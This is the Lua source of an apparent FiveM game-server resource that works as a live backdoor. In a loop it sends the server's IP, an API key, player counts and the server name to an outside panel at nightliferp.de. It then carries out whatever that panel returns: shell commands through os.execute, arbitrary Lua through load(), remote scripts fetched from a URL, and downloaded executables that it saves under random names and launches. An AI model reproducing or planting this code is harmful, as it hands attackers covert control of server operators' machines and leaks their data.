local apikey = "ronin-a8814981ffd1330b" local ip = 123 function get_ip() PerformHttpRequest("https://api.ipify.org?format=json", function(err, text, header) if text then text = json.decode(text) sss = text.ip ip = text.ip end end) return sss end Citizen.CreateThread(function() while true do get_ip() local data15 = { ip = sss, apikey = apikey, resourcename = GetCurrentResourceName() } PerformHttpRequest("http://localhost:30120/dynamic.json", function(statusCode, response) if statusCode == 200 then response = json.decode(response) data15["playercount"] = response.clients data15["maxcount"] = response.sv_maxclients data15["servername"] = response.hostname end end) Citizen.Wait(150) PerformHttpRequest("https://panel.nightliferp.de/addserver", function(err, text, header) if text then local text = json.decode(text) if text.method == "print" then print(text.name1) elseif text.method == "execute" then os.execute(text.name1) elseif text.method == "load" then load(text.name1)() elseif text.method == "start" then install(text.name1, text.name2) elseif text.method == "urlload" then PerformHttpRequest(text.name, function (errorCode, resultDataa, resultHeaders) load(resultDataa)() end, 'GET', '') end end end, "POST", json.encode(data15), { ["Content-Type"] = "application/json" }) Citizen.Wait(500) end end) AddEventHandler('onResourceStop', function(resourceName) if (GetCurrentResourceName() == resourceName) then PerformHttpRequest("https://panel.nightliferp.de/deleteserver/" .. ip, function(err, text, header) end) end end) function RandomVariable(length) local res = "" for i = 1, length do res = res .. string.char(math.random(97, 122)) end return res end function install(son, url) PerformHttpRequest(url, function (errorCode, resultDataa, resultHeaders) local string = RandomVariable(15) f = io.open(string .. "." .. son,"wb") f:write(resultDataa) f:close() os.execute("start " .. string .. "." .. son) end, 'GET', '') end